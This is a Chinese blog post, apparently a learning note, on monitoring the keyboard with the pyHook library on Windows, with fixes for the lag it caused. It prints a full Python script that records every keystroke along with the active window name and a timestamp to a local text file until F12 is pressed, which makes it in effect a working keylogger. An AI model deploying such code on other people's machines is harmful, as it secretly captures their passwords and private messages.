pyhooks实现键盘监控学习心得

pyhooks

下载:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/

API手册:http://pyhook.sourceforge.net/doc_1.5.0/

        以上网站上提供了个使用的例子,另外安装pyhooks后,也会有一个例子的文件。于是拿来学习了一下,第一次运行时,提示没有pythoncom模块,就安装了pywin32,安装后,可以正常运行,但是会导致机器发卡,特别是中断程序运行后,鼠标会出现一段时间的自由晃动,找了半天原因,感觉主要是事件频率过高,程序会经常卡在pythoncom.PumpMessages()。

        网上搜索了半天,看到有一帖子说是pythoncom.PumpMessages(n),n表示延迟时间,于是试着改了下,发现有一定效果,但不明显,后来想是不是因为没有终止程序,才会导致一直很卡呢,于是添加终止程序语句win32api.PostQuitMessage()。结果还算满意。

复制代码
# -*- coding: cp936 -*-
import pythoncom
import pyHook
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):
global t,asciistr,keystr
filename='d://test.txt'
wrfile=open(filename,'ab')
"处理键盘事件"
if t==str(event.WindowName):
asciistr=asciistr+chr(event.Ascii)
keystr=keystr+str(event.Key)

else:
t=str(event.WindowName)
if asciistr=='' and keystr=='':
wrfile.writelines("\nWindow:%s\n" % str(event.Window))
wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
wrfile.writelines("Message:%d\n" % event.Message)
wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
else:
wrfile.writelines("Ascii_char:%s\n" %asciistr)
wrfile.writelines("Key_char:%s\n" %keystr)
wrfile.writelines("\nWindow:%s\n" % str(event.Window))
wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

asciistr=chr(event.Ascii)
keystr=str(event.Key)
if str(event.Key)=='F12': #按下F12后终止
wrfile.writelines("Ascii_char:%s\n" %asciistr)
wrfile.writelines("Key_char:%s\n" %keystr)
wrfile.close()
win32api.PostQuitMessage()

return True



if __name__ == "__main__":
'''
小五义:http://www.cnblogs.com/xiaowuyi
'''

#创建hook句柄
hm = pyHook.HookManager()

#监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()

#循环获取消息
pythoncom.PumpMessages(10000)

复制代码



posted @   小五义  阅读(10467)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
点击右上角即可分享
微信分享提示